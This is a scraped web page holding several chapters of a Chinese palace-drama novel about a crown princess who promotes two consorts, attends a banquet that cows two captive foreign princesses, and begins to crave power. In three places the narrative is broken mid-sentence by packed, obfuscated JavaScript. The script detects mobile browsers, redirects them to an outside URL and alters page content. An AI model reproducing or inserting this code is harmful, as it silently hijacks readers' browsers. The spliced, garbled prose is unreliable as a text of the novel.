元嘉手里拿着的,已是留痕最多的一张了。 又过了一刻钟的工夫,连逢春都觉得手开始酸痛时,元嘉才终于动了——从笔架上随意抓了支狼毫,另铺了张宣纸,重又落起字来。可也不过写满半张纸,便又放弃般揉作一团,将其掷在桌脚,嘴里也开始叹起气来。 “女君,”逢春大着胆子问道,“您可是遇到了什么烦心事?” 元嘉抬手揉着眉心,轻声道:“我在想,该怎么给皇后殿下写奏书。” “奏书?” 逢春一时不解,她并未听说太子府近来有什么大事发生,甚至需要向皇后奏陈。 “太子就快回来了,”元嘉抬眼,“吴奉仪随侍太子,自然也就一道回来了。” “……是?” 逢春仍是困惑。 “此行数月,去的又是北地苦寒之处,服侍太子起居的人只有吴奉仪一个,便无功劳也是有苦劳的,”元嘉搁下笔,“我想着,去向皇后殿下请旨,晋一晋吴奉仪的位分。” “奉仪此行辛苦,封赏亦无可厚非,想来皇后殿下也是允准的。” 逢春笑道,不解于元嘉为何会在此事上显露犹豫。 “若是封赏吴奉仪,那……徐奉仪呢?” 逢春一下子没了声响。 元嘉垂下眼帘,又盯着握在手里的毫笔发愣。无子无宠的吴小童若得了晋封,那曾经为良娣、又为太子诞下一女的徐丽华呢? 她可以不在乎徐丽华的感受,却不能不顾及宜恕的脸面,也还得为前者的来日早作打算才行。 自然,徐丽华谈不上无辜二字,徐家如日中天之时,她是上京城里最矜贵的女郎,享了家族带来的无边权势与富贵。若非徐家倾覆,她此生是可以料见的富贵无极。但,徐家的恶果,徐丽华已经饱尝了,便不该再让宜恕受此牵累了。 可是…… 元嘉又是一声叹息,终似放弃般搁下了笔。 今日,看来是写不出来了。 “不若请皇后殿下——” 逢春见元嘉实在为难,一瞬间想到了娄皇后,却又在前者抬眼的那一刹戛然而止。 “这是东宫内事,如何好让皇后决断,”元嘉无奈一摇头,“难道还要说我这个太子妃无能不成?” “……是奴婢想的浅了。” 逢春面露赧然。 “与你何干,不过是我自己总不敢放松罢了。行了,找人进来收拾吧,我且再想想。” 元嘉抻了抻身子,起身离开书案,临窗而立,望着院子里的梧桐树暂作舒松。 逢春应了一声,捧回托盘便往屋外唤人,不多时就领着拂冬进门将屋内归置妥当。至于被元嘉写废了的纸,则被拂冬小心铺平后收捡在了木匣子里。逢春则摸了张笺纸,正欲在其中落上年号日月。 “不用留了,都烧掉吧。” 元嘉虽还看着窗外,却仍对屋内的动静知道得一清二楚。她若不发话,这些废了的纸便只能留着。 这是宫里的规矩。 两人垂目应下。逢春将香炉的盖子打开,用手轻轻扇动了两下,见火光隐现,这才让拂冬把匣子抱过来。前者打开匣子,将里头的废纸重新取出,一张一张地往香炉里放,直到看着它被陡然升高的火焰吞噬。 当着元嘉的面,烧去留有她字迹的纸张,这也是宫里的规矩。 元嘉回头,看着炉中的火焰一点点蹿起,再一点点失了光亮,心中的郁气也似这火焰般忽高忽低,最终化作一声喟叹。 这样提笔犹豫的日子又持续了好几日,直到刘婵上门给元嘉送还香包。 “后宫事皇后殿下作主,东宫事太子妃依制决断,这本就是理所应当的,元娘怎么就把自己给困住了?” 刘婵摇头轻笑,望着元嘉无奈道。 “可徐奉仪她……” 元嘉还是有些犹豫。 “对徐奉仪的处置,早在徐家被问罪之时便已经有了结果,不是吗?”刘婵温声道,“如今她只是太子嫔御,太子妃对她封赏也好,惩戒也罢,只关乎其自身对错,又能与什么再有牵扯呢?” 元嘉豁然开朗,眉心的折痕也总算舒展开来。是她想的左了,一开始就把自己逼进了死胡同里,好在有刘婵这个旁观者的点醒,否则也不知道还要被困在其中多少日。 “素娥,”元嘉搭过刘婵的手,语带感激,“多亏了你,不然我、我……” 刘婵笑着抬手,作势捂住元嘉还想说话的嘴,“您和太子都是厚道人呢。” “……为何?” 不解的人换作了元嘉。 “我朝律法,出嫁女不受母家之罪牵连。可当年徐氏一族下狱时,仍有不少人家将已出嫁的徐氏女休弃后送入了掖庭,只为与徐家割席,以表已身清白。而太子,由始至终只做了降徐奉仪位分这一件事情,当时许多朝臣还对此颇有微词,如今却也无人提起了。” 刘婵指尖无意识地勾住香包上束口的绳结,显然不像说话声那样平静。 “至于吴奉仪,宫里侍奉过贵人、受过雨露恩泽的宫女,余生便不能再出宫了,若是没有名分,过得便连寻常宫女也不如。太子念旧,所以出宫建府时一并给了吴奉仪名分带出宫去,可再往前分到端王寝殿的,就没有这般好的福气了,如今只怕都被抛诸在北宫了。” “……北宫?”元嘉喃喃道,“我一直以为,那地方只有犯了错或是失宠的嫔妃才会去的。” “若非听吴奉仪提过,我也是这样以为的,”刘婵垂下眼睑,“太子给了她名分,您如今也愿意再拔她一拔,吴奉仪来日,想来也可过得不错。” “我只是想着她此行不易,该有封赏才是,并不是……” 元嘉突然生出几分惭愧。 扪心自问,她并没有那样好的慈悲心肠,在这样的地方,能保全自己、不至于随波逐流便已经很难了,她实在分不出精力去周全身边的每一个人。至于吴小童,她当然觉得可怜,心中亦有不少的怜悯,可对她的封赏,更多的却还是因为太子妃的责任,和想要修立自己名声的那点隐秘心思。 “这已是很好了。” 刘婵柔声道。 元嘉怔怔地看着刘婵,突然露了抹笑,“我似乎明白阿柔为何这样依赖素娥你了。” 刘婵罕见的愣了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元嘉又一次望去──果如刘婵所说,倪娉柔的脸色虽还有些难看,可终究知道自己身处何地,长长几次吁气后,人也平复了不少。再等到三人上辇,便彻底恢复了往日的淡然,嘴角也不再紧绷,只是神色恹恹,全无开口说话的兴致。 这份沉默一直持续到车驾驶回太子府,几人步行回居所的路上。 “我并非生你的气,只是不高兴她罢了!” 终于,倪娉柔出声了。 元嘉又望了刘婵一眼,见她朝自己一笑,又轻轻摇了摇头,便也不吱声,只默默听着倪娉柔忍了一路的不满。 “宜恕有她这么个母亲,可惜了!”倪娉柔咬着牙道,“若是我、我……” 之后便没有下文了,可在场的都是耳聪目明之人,又哪会听不出倪娉柔的言下之意。 元嘉移开视线,又不露声色地与刘婵对视一眼,皆看见了彼此眼底的惊诧。 果然,是因为那日听到娄皇后说起四公主的事后,起了心思了。而这,只怕也是娄皇后想看到的——既然无法抛舍皇室血脉,那就、索性换一个母亲好了。 “你不生我气就好,”元嘉只装作没听到这句话,兀自道,“今日便不留你们了,宣旨的人怕是午后就要来,吴奉仪虽不在,徐奉仪却还是要出来听旨的,我得让人知会一声才行。” 已然行至岔路口,元嘉遂停下脚步,朝二人道。 刘婵笑着点了点头,拉过还在因失言暗恼的倪娉柔,行过礼便一起离开。元嘉则在原地停了片刻,直到两人的身影彻底消失在视线内,才转身走向岔路的另一头。 她并不担心倪娉柔的心思,可却摸不准娄皇后是何想法。 若只是不想叫徐丽华继续养着宜恕,直接下旨叫郡主们入宫听学就足够了。便是起了叫别人抚养宜恕的心思,来日入宫,徐丽华一生难及主位,她的孩子自然要交给别人抚养,又何必急在这一时呢? 元嘉想不明白。 可至少有一点能确定,娄皇后还未因徐丽华对宜恕生厌到像自己说出的话那般,如今也还顾念着宜恕的来日。 那她呢,是不是也该推一把? 元嘉停下脚步,回头朝倪娉柔离去的方向看了一眼,最终还是放弃了这个念头。来日注定的事情,便交给来日好了,宜恕……也还眷恋着自己的生母呢。 元嘉下意识晃了晃脑袋,亦惊讶于自己这突如其来的不切实际的念头,很快收敛好思绪,快步消失在岔路尽头。 74. 心转变 燕景祁赶在元嘉院里的梧桐树飘落最后一片枯叶前回到了上京。 进城那日,据说极其热闹,城门外涌满了人不说,朱雀大街上也满是围观的百姓。燕景祁不曾乘车,策马行在队伍的最前端,身后是随同出行的官员,欧阳沁正在其中。再往后,是这次从疏勒手中收获的和谈的“诚意”,一箱又一箱,足足堆满了几十辆马车。 而在这条队伍的最后方,是两辆装饰华美的毡车,朱漆彩绘,垂幔流苏,车檐两处各坠了一枚响铃,随着马车的晃动,不时发出阵阵脆响。 里面坐的,是疏勒的两位王姬。 “……王姬?” 元嘉喃喃道。 她早两日便进了宫,自然瞧不见今日的热闹,只能听着内官们聊胜于无的转述,勉强想象着当时的场面罢了。 “便是咱们这儿的公主。” 祥泰笑着解释了一句,只以为元嘉困惑于‘王姬’两字的称呼,又见前者没有再说话,便也继续道:“疏勒为了求和,除了送来大批的骏马牛羊、香料宝石以外,也将王君最美丽的两个女儿一并送了过来。” 祥泰是申时安的徒弟,此行跟着申时安一起服侍燕景祁起居。前者一回来,便马不停蹄地去了紫宸殿述差,身边只带了申时安一个,他便回了少阳宫向太子妃转述沿途所见。 “是客人、还是?” 元嘉斟酌着开口。 “倒不曾明言,只是说两位王姬都到了适婚的年纪,疏勒这一代没有出色的年轻人,便想在上京寻个好夫婿嫁了。” 祥泰依旧笑呵呵道。 元嘉顿时了然,一下子淡了询问的心思。正欲让人退下,余光却瞧见红玉几个紧张示意的眼神,只好又道:“太子一切可好?当是诸事顺遂的。” “得女君惦挂,殿下一切都好,”祥泰不着痕迹地恭维了一句,“若殿下知道您这般牵念,定也是高兴的。” “你们跟在太子身边伺候也是辛苦,出去这几个月的例银便都再加上一倍,”元嘉闻言一笑,“只是太子身边离不得你们,本宫便也不多放你们休沐了。” 祥泰大喜,连忙叩拜谢恩。动作才做了一半,便被红玉几个笑嘻嘻地扶了起来。 正当时,兰佩自殿外而来,带着娄皇后的口谕,请元嘉往麟德殿一趟。 “母后可有说是什么事?” 元嘉一边起身,一边问道。 “太子带回的两位王姬,在前殿多有不便,陛下便让皇后殿下领着嫔妃和公主们,在侧殿设宴,也算是为王姬接风了。” 兰佩如是道。 “姑姑可知那席上都有些什么人?” 红玉仗着从前在燕景祁身边服侍过,又与兰佩相熟,趁着替元嘉整理衣物的当头,故意问道。 “为便王姬们寻觅夫婿,皇后殿下已下旨让她二人住在内宫了,”兰佩嗔了红玉一眼,却也没有隐瞒,“今日算是头回见面,便只请了贤、德二妃相伴,又让熙宁公主与万春公主作陪,只当是认认人。” “万春公主回宫了?” “是,齐修仪思念女儿,皇后殿下便让万春公主回来住上几日。” 兰佩温声道。 “多谢姑姑解惑。” 红玉一边替元嘉搭上披帛,一边笑嘻嘻道。 元嘉此时也整理好了仪容,朝兰佩略一颔首,一群人便浩浩荡荡地往麟德殿去。 …… “太子妃到!” 元嘉踩着内官的唱和声走进侧殿,先向娄皇后请了安,又在宫人的牵引下坐到侧席,这才细细打量起周遭环境来。 许贤妃与薛德妃分坐娄皇后两侧,燕景璇与万春公主则与元嘉毗邻,此刻见元嘉落座,又各自举杯示意,元嘉亦举起酒盏回敬。 至于对面,坐的便是传言中的那两位疏勒王姬了。 确是十足的美貌。 深眼高鼻,丰腴白皙,眉尾上挑,眼尾飞扬,一双瞳子并非常见的褐,而是透亮的碧莹色。 额心被顶上花冠坠下的宝石覆盖着,在烛火的映照下熠熠生辉,左右面颊则被朱砂分别勾了抹繁复的花纹,媚妩而冶艳。一头乌发缠着珍珠发带,束成两个发辫后一左一右地垂在胸前,发尾隐约可见卷曲。 只是并未穿着疏勒女子惯常的衣物,更像是上京城里胡姬们偏爱的打扮。坦领短襦,花色半臂,艷丽的红与华耀的金交织而成的间色长裙,无一不显露出穿扮者的贵重身份。 元嘉不由得在心底喟叹一声。 这份相貌,这个身份,可惜了…… 上首,娄皇后自然道:“两位王姬远道而来,一应吃住有什么不习惯的,尽管来告诉予,务必将此地当作自己的家才是。” “多谢皇后殿□□贴我姊妹二人,我与柯木孜一切都惯。” 其中一人道。 元嘉微微偏头,凑近燕景璇小声道:“我到的迟了些,不知这两位王姬的名姓是?” “喏,”燕景璇眉梢一挑,“说话那个是姊姊,叫娜布其,一直垂着脑袋的是妹妹,叫柯木孜。” 元嘉顺着视线望去,打量了两眼,又道:“如今住在哪儿?” “玉芙宫,”燕景璇嘴唇翕动,“那地方离韩美人的霁月殿不远。韩美人自小宛来,或许能和她们有话聊呢。” “柯木孜王姬怎么从进殿后就不说话了,可是一路奔波,身上有不舒坦的地方?” 薛德妃突然发问。 “柯木孜只是……” 娜布其刚想把话接过来,不料被许贤妃紧跟着打断—— “德妃问的是柯木孜王姬,娜布其王姬爱妹之心虽好,可还是叫她自个儿说吧。” 此话一出,本还算热闹的场面骤然冷清下来。更奇怪的是,娄皇后无有任何打断的意思,反倒噙了抹笑,若有所思地打量着开始局促的两人。 元嘉朝燕景璇望了一眼,见她面色如常,下意识皱起了眉,一边将手里的酒盏放下,一边默默注视着眼前的情景。 娜布其咬了咬唇,脸色有些难看。 “我、柯木孜一切都好,只是坐在车上的时间太久了,如今还有些晕眩,望大周皇后殿下、德妃娘娘、贤妃娘娘见谅。” 柯木孜有些慌张地看向娜布其,见她偏头不言,只能颤抖着声音,勉力回答起薛德妃的话来。 “那就好,予还以为是哪里待客不周,叫王姬不舒服了,”娄皇后一脸和煦,“若还有不适,等席散了便让医女们来瞧瞧,可别害了身子。” “多、多谢皇后殿下美意,柯木孜不打紧的。” 柯木孜显然没意识到自己有些害怕过头了,一双手虽放在桌下,却无意识地搅在一起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367709|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而这些小动作,被坐在上首的三人瞧得一清二楚。 “说起来,咱们大周女子的名姓,皆有其各自蕴意,不知两位王姬的名姓又作何解释呢?” 许贤妃接着问道。 “在疏勒的文字里,娜布其是叶子的意思,”娜布其顿了一下,见未再被人阻拦,方又大着胆子道,“至于柯木孜,是用来形容人肤色白净美丽,像马奶酒一样的好话。” “可真是两个好名字,”薛德妃拊掌而笑,“只是来日许嫁上京的儿郎,怕还得取个上京女子的名字才好呢!” 年轻的王姬们面色一白,大抵是知道自己来周的命运,面对薛德妃委实不算客气的口吻,竟也一句话没有反驳。 “今日是为两位王姬接风洗尘的,恁什么事情都明日再说,咱们吃酒!” 娄皇后大约是欣赏够了两人惶恐不安的神色,终于发慈悲般开了口。 偌大的侧殿总算又有了笑语声,早已等候多时的舞姬们自两边涌出,随着鼓点起舞助兴。 元嘉在一旁看着,心中只觉万分沉重,千言万语哽在喉间不得言。 这哪里是什么接风洗尘的宴席,分明是在教人如何顺服…… 怪道薛德妃会与许贤妃一唱一和,怪道娄皇后哪怕与薛德妃不睦,也仍会在时机得当之时推波助澜。原因无他,在两个疏勒王姬面前,她们先是光熹帝嫔御,而后才是有着利益矛盾的对立者。 疏勒败了,下一代的掌权人也被俘虏,所以曾经金尊玉贵的王姬们要学会低头臣服、乖顺讨好,为她们自己、也为生其养其的母国。 元嘉捏紧了酒盏,逼迫自己将视线从对面挪开。 同为女子,她难免以身相代,不自觉生出几丝同情,可随之涌上来的,却是庆幸。 是的,庆幸。 庆幸自己生在大周,庆幸自己居于尊位,庆幸两位王姬即将遭遇的一切,永远不会降临在自己身上。 她宁可成为教人顺服的掌权者,也绝不要做俯首听命的卑下人。 元嘉的视线似是不经意般扫过娄皇后身下镶金嵌玉的座椅——那是只有皇后才有资格坐的尊椅,所以被工匠们打造得贵重精致。可若是皇后厌烦了,顷刻间也只能化作一堆朽木。 突然间,有什么东西自心底攀爬而出,像是无形的丝线般,缠绕着、捆绑着,最后牢牢攫住了元嘉的心神。 她其实不该在这时候生出如此的念头的……事实上,安心顺从燕景祁对她的期望,成就男人来日的贤名,才能让她在一众虎视眈眈之下安稳无虞。至于其他的,自会经由燕景祁的“恩赏”,一点点被她攥在手心。 可是── 元嘉垂下眼帘,一并遮去了眸中翻滚的挣扎与渴求。她是太子妃,是礼法上最接近皇后尊位的人,她离那个位子一步之遥,为什么不可以肖想呢?为什么……不可以求的更多呢? 既是盟友,便该一视同仁才是。 燕景祁铺设那条路是条好路,与他共成一对贤帝后,被后世传颂观瞻也没什么不好……可她不想再等着别人施舍了,她也想成为施舍别人的那个人。 元嘉仰头饮尽盏内清酒,不等宫女上前续盏,便给自己斟了满杯,又与燕景璇推杯换盏起来。 她也想一尝权力的滋味。 非由他人施舍的,全然归于自己的权力。 75. 难知足 燕景祁到偏殿时,娜布其与柯木孜早已醉得不省人事,被宫女们搀了下去。 大周的酒远比疏勒的浓烈辛辣,便是女子常饮的果酒,喝得多了也难免上头。两位王姬初来乍到,又不敢拒绝旁人敬酒,一来二去,自是不胜酒意。 只是说好的接风宴,到最后却变成了后宫女眷们的自斟自饮,自得自乐,不免失了些意味。 燕景祁目不斜视地大踏步走进,先朝娄皇后问了安,方道:“前殿筵席已散,父皇特命儿臣来问母后一声,侧殿的席散了没?若是散了,便与他一道回紫宸殿。” “两位王姬不胜酒力,这席早就散了。” 娄皇后一边起身,一边笑道。 燕景祁见娄皇后踉跄下阶,脚步微动,手也抬了起来,似乎想要搀扶一把。 “予清醒着呢,哪用你扶?”娄皇后侧身一避,抬手又将元嘉召至跟前,“倒是你,想来在前殿也没少吃酒,便辛苦太子妃,今夜替予多照顾太子几分了。” 元嘉自是应下。 “两位妹妹今夜也吃了不少酒,便都早些回宫安置吧,”娄皇后又道,“熙宁与万春也是。” 在场诸人皆躬身答是,各自散去。唯有薛德妃,在经过燕景祁面前时,神色晦暗地盯着他看了又看,可最终还是一句话都没说地离开了。 元嘉依着娄皇后的吩咐,扶着男人一并行至长街处,眼见众人先后上辇,方道:“咱们也回上阳宫去,可好?” 她扶着燕景祁走了这一路,自然察觉的到身边人的勉力强撑,脚步虚浮不说,酒气更是浓烈,连她的身上也被沾染不少。 怕也醉得厉害。 燕景祁闻言,像是要确认眼前女子的身份一般,扭头盯着元嘉的脸看了许久,而后才含糊道:“……回吧。” 已然不复在侧殿时的清醒。 元嘉朝左右看了一眼,早已等候多时的申时安、祥泰几人随即上前,接过元嘉的位置便将燕景祁扶上了辇。又等到前者上了另一抬步辇,一行人这才回了少阳宫。 兰华早已备好了解酒的汤药,眼瞧着人回来,立刻便着人端了进来,又看着燕景祁饮尽。 燕景祁喝了汤药,又吹了一路的冷风,有些昏沉沉的大脑重又恢复了少许清醒。 “……嘉娘?” 男人将手搭在额头,略微用力地揉了几下,有些不确定道。 “是,”元嘉正命人将空了的瓷碗撤下去,闻言坐回燕景祁的身侧,轻声细语道,“三郎醉了。” “今日高兴,便多饮了些。” 燕景祁将手放了下去,可眉心的折痕却不见舒展,显然还有些难受。 “那便让申时安他们服侍您去沐浴更衣,今夜便早些安置了,可好?” 元嘉的声音愈发轻柔。 “申时安,去给孤取一套换洗的衣物来。” 燕景祁吐出一口浊气,稍稍缓和了会儿,这才起身往内殿深处走去。虽还有些踉跄,可说话声已恢复了素日的平稳。 “也让人服侍你去梳洗,咱们都早些安置……今夜在母后那里,你们当也喝了不少,让兰华再给你备一碗醒酒汤来。” 元嘉眼底掠过一丝惊讶。她自恃酒量尚佳,在侧殿大半时间也只是看着他们吃酒,是以回少阳宫后不曾饮过解酒汤。 却没想到,燕景祁哪怕醉着,还是发现了……看来这人是习惯性的强留一丝清明。 “是,我一会儿就去。” 心里虽这样想着,元嘉却还是笑着应下了,又目送燕景祁消失在帘后,这才往另一处梳洗换衣。 燕景祁离京几月,元嘉早习惯了独自入眠,如今身畔骤然间又多了具温热的躯体,竟搅得她一时无法成寐。好在是吃了酒,借着残余酒意的侵袭,元嘉最终还是迷迷糊糊地睡了过去,但到底迟了些,没过多久便又到了宫里起身的时辰。 燕景祁要赶早去清宁宫请安,元嘉自然得一并跟随。前者一路奔波,回京后先向光熹帝述差,跟着又去了麟德殿饮宴,根本无有时间休整。如今既向娄皇后问了安,总算可以返回太子府歇息了。 “……吴昭训未与三郎一同进宫?” 马车内,元嘉与燕景祁两相对坐,没了外人,便也顺着前者的心意换了称呼。 “吴氏不必进宫,所以孤让她进城后直接回太子府了。” 燕景祁没有看人,只斜斜倚在靠枕上阖眸假寐,想是宿醉未清,正头疼得厉害,此刻听见元嘉询问,更是连头也没抬。 只是话音刚落,男人便疑惑般拧起了眉,又抬眼看向元嘉,“昭训?” 这是注意到元嘉称呼里的不同了。 “是,”元嘉神色如常,“她与徐氏,如今都已是昭训位了。” 却是半分不提晋封两人的缘由。 她在试探,亦是在赌,赌燕景祁不会细问,试探他在那日之后,能容许自己施用太子妃这个身份到何种地步。 果然,男人嗯了一声,便又合上了眼,只道:“既如此,便将她们身边伺候的人补全吧。” “自然。” 元嘉面上笑意愈浓,可随即又抿紧了嘴角。哪怕燕景祁此时看不见,她还是极力克制着自己的表情,不使情绪过分外露。 可是…… 元嘉垂下眼帘,看着自己放在膝上的一双手──它们此刻正不受控制地轻颤着。身体的反应是做不了假的,她在兴奋,为第一次正视自己所拥有的权力而兴奋。 元嘉反手将掌心压在衣裙之上,指尖微微用力,布料便在她的手中揉作一团,少顷才似平复了一般缓缓松开,再抬眼时,已然恢复了常态。 燕景祁似乎仍在因为昨夜的酒而难受,哪怕阖着眼,眉头也依旧紧锁,脸上带着几分忍耐的表情,像是在竭力压制着身上的那股不适。 她还是头一回看到男人这样不加掩饰的虚弱姿态。 元嘉无声注视了两眼,忽然挪动起身子来,将自己靠得离燕景祁更近,而后伸手摁在前者的两鬓处,略找了下位置,便不轻不重地按压起来。 燕景祁的身体一僵,不多时又放松下来,虽没有说话,可瞧着面色却好上了不少。元嘉亦不再多言,就这样沉默地动作着,直到车驾停稳,帘布外发出一阵窸窣的响动。 “殿下、女君,咱们到了。” 申时安并未掀帘,只让人将脚凳放好,而后等燕景祁示下。 男人早在车驾停住的一瞬间便睁开了眼,可直到申时安的声音在外头响起来,才反握住元嘉的手轻拍了两下。元嘉会意,旋即停下手里的动作,不再继续。燕景祁又一次闭上了眼睛,再睁开时已恢复了一贯的清明,这才撑着车座起身,而后掀帘下车。 元嘉活动了两下手腕正欲跟上,却见燕景祁的手穿过帘布,正停在自己眼前,一如她初进太子府那日的情景。 可她的心境却大不一样了。 元嘉垂目打量了两眼,随即再自然不过地将手搭了上去,又踩着脚凳从马车上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384187|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了下来。燕景祁将站在府门外等候的人挥退,而后大跨步上了阶,又迅速穿过长廊,瞧着是往澹怀堂的方向去了。 元嘉却没有立时跟上。 燕景祁应该是要去休息的,那她还是回长春馆为好。可男人却没有给她选择的机会──在发觉身后迟迟不见响动后,燕景祁停下脚步回望,眼里带着明显的催促。 元嘉只好跟上。拂冬本在内门拐角处等候,见两人似要往另一方向去,忙上前道:“殿下、女君,良娣她们正等着……” “让她们都回去,不必等了。” 燕景祁头也不回地说道。 拂冬有些为难地看向元嘉,见元嘉微微摇头,只好应声离去。 回到澹怀堂的燕景祁显然要放松许多,脱掉外袍坐在榻上,用热帕子净了脸,又将兰华递来的茶水饮尽,这才稍稍恢复了几分精神。可随即,又开始指挥着人进出做起事来。 这期间,元嘉并不作声,只同样捧了个杯盏瞧着满屋动静,直到燕景祁动作稍歇,方从榻上起身。本欲寻个由头离开,却又被燕景祁拉至身边坐下。 “这本册子,你收着。” 燕景祁看了申时安一眼,后者便将不知何时捧在手里的册子递了过来。 “……这是?” 元嘉接过后并不急于翻看,只向男人发出一声疑惑的询问。 “此去边城,见买卖皮货者甚多,便也带了些回来。另有些北地的特产,全部都写在这册子上了,”燕景祁指着其中一页道,“是留是赏,你自己决定。” 元嘉先是谢过,又问道:“母后那里可送过了?还有熙宁皇姊处……” 燕景祁轻笑一声,“宫里昨日便送过了,几个兄弟姊妹处也都送过了,这些都是咱们府上的,你收下就是。” 元嘉颔首称是。男人的回答本在她意料之中,却不得不多此一问,只为了表露自己的“关心”,和事事不越过体统规矩的本分──因为燕景祁喜欢,宫里的许多人也喜欢。 “我昨日见着阿姊了,”燕景祁移开视线,“听说你们近来感情甚睦,这很好。” “熙宁皇姊怕我长日无聊,所以常来太子府与我说话,”元嘉抿嘴一笑,“我当多谢皇姊才是。” “阿姊喜欢热闹,你多与她一处,便算是谢谢她了。” 燕景祁应当很满意她与燕景璇日益亲密的关系,因为她又听见男人在耳边道:“我不在的这些日子,你将太子府打理得很好,辛苦你了。” 分明片刻钟前才回到太子府,出入澹怀堂的人也只是向其禀奏朝堂事,男人又能哪里知道自己是如何打理太子府的呢?无法是借个由头赞上一句,最好能让她生出感激之情来,以便更尽心竭力地想他所想、行他所行。 “分内之事,不敢居功。” 最终,元嘉只如此道。 燕景祁神态亦自若,抬手覆在元嘉的手背之上,动作极度自然地轻拍了两下,带着刻意的温柔与纵容。元嘉没有回应,只露出几分恰到好处的微笑。屋内一时静谧无言,直到太子府詹事在外求见。 元嘉会意起身告退,燕景祁也不欲再留人,只让前者晚膳时分往澹怀堂一起用膳。 元嘉自是答应,藏在袖下的指尖却在不住地摩挲着手里的册子。 这是燕景祁第一次交付这些东西给她,也是她第一次走进男人的书房,见到他与外人谈论朝堂事。 但只是这些的话,还远远不够。 她想。 76. 喜婚事 燕景祁回来后,积了一堆的事情等着处理,最后只在回京的第二日略休息了下,便又宫里宫外的来回跑着,忙得脚不沾地。 元嘉的生活倒与燕景祁不在时别无二致,除了不再有庄映秋的上门教习以外。好在燕景璇早有所料,每逢元嘉往公主府闲坐时,便遣人去胡玉楼提前将庄映秋接过来,倒也不曾误了其他。 至于吴小童,在从宫女口中得知自己晋了昭训的第二日,便诚惶诚恐地赶来长春馆请安,嘴里重复着自己无德无功的贬低话,又说实在不敢忝居昭训之位。元嘉好一通劝慰,才勉强把她的心安了下去。只前者临告退前说的一件事情,倒引起了元嘉的注意—— 吴小童道她与燕景祁同在边城的这段时日,曾于某次奉茶进屋的时候,不经意间撞见男人撑着额头、脸色苍白的情景。虽然燕景祁很快就收敛好了所有异样,面对她想要传召太医的建议亦摇头示意无恙,可她总觉得是自己不曾侍奉好燕景祁的缘故,所以才会对自己做了昭训的事情如此忧怕。 言者虽无意,听者却有心。 元嘉想起那日在马车上,燕景祁宿醉未清时的反应──男人亦是拧眉撑着额头,脸色也同样欠佳。可等到下了马车以后,展露在外人面前的却只余少许的疲累罢了。 是巧合吗?还是有别的缘由? 元嘉暗暗将吴小童说的怪异之处记在心底,又在章有为过来请平安脉时状似不经意般提了一句,前者果然一无所知,元嘉便也不再深问,只每每与燕景祁独处时,又格外关注起男人的举止和神态来。 …… 这日,元嘉久违地收到了柳安沅的手书,邀她三日后往慈恩寺听慧能禅师俗讲,另替欧阳沁设宴接风。 就是理由怪了些──柳安沅从来是不奉佛道的,更别提去静坐半晌听人俗讲了。至于接风么……欧阳沁回京都多久了,如今才想起这事来,当真只是寻个由头把人邀出来罢了。 元嘉捏着信纸,不免摇头轻笑,随即又像是想到什么似的,扬声唤人,“拂冬!” 拂冬立时进屋。 “让人往几位娘子的住处走一遭,只说三日后有慧能禅师的俗讲,她们中如有想去的,提前报与我知,宵禁前回府即可。” 拂冬躬身应下,随即出了门。 燕景祁回京后事务繁忙,近来十日里倒有五、六日都宿在东宫,余下的日子才会回太子府歇息。 等回了澹怀堂,也会不时让倪娉柔陪伴在侧,细算下来,元嘉也要七、八日才能见到燕景祁一面。 倒也不必特意知会。 如此一想,元嘉便也径自让人去回了还在门房等候的国公府小厮,道会准时赴约。 等到出门那日,除了元嘉自己,余下的竟都是一开始不曾料到的人──徐丽华与卫妙音。 俗讲虽也热闹,却也不是人人都喜欢的。倪娉柔便爱热闹,可那日只有俗讲,寺外未设戏场,也未到庙会开始的时候,叫她在佛寺内跪坐听讲,实在是为难人了些。 至于刘婵,元嘉才知道她是奉道多年的,甚至年少时为求父母康健,还曾入过一段时间的道观修行,因此对慈恩寺俗讲一事,自是婉拒。 吴小童倒不奉道,可从来是不独行于人前的,前次随燕景祁出京已是战战兢兢,唯恐自己哪里逾了矩,这次更是亲自跑了趟长春馆,只为说一句不去。 而卫妙音,元嘉本以为她身体尚未大好,当是要留府静养的,可没想到卫妙音奉佛之心虔诚,知道俗讲的人是慧能禅师,便再三请求元嘉允准。元嘉无奈,只得让卫妙音出府时一并带上医女与服侍的人,以便时时照应。 余下的徐丽华,虽罕见地报了要出府,可最后去慈恩寺的却不是她,而是她的贴身侍女,唤作豆蔻的。 豆蔻出门前,先来长春馆向元嘉请了礼,这才从角门上了驾牛车离去。浑身素白,除了在手肘处挂了个半大竹篮外,竟连半件饰物也无。 元嘉目视着豆蔻离开,突然就明白了徐丽华这次的异常之举。 当是,要去奉祭亡人。 “女君,咱们也可出发了。” 拂冬掀帘而入,屈膝道。 “今次备的,是哪一驾马车?” 元嘉闻言起身,又问了一句。 “是蓝青色棚顶的那一驾,”拂冬笑吟吟道,“上头没有太子府的徽记,想来也不会扰了佛寺清净。” 元嘉点了点头,这才搭着逢春的手背缓缓下阶。 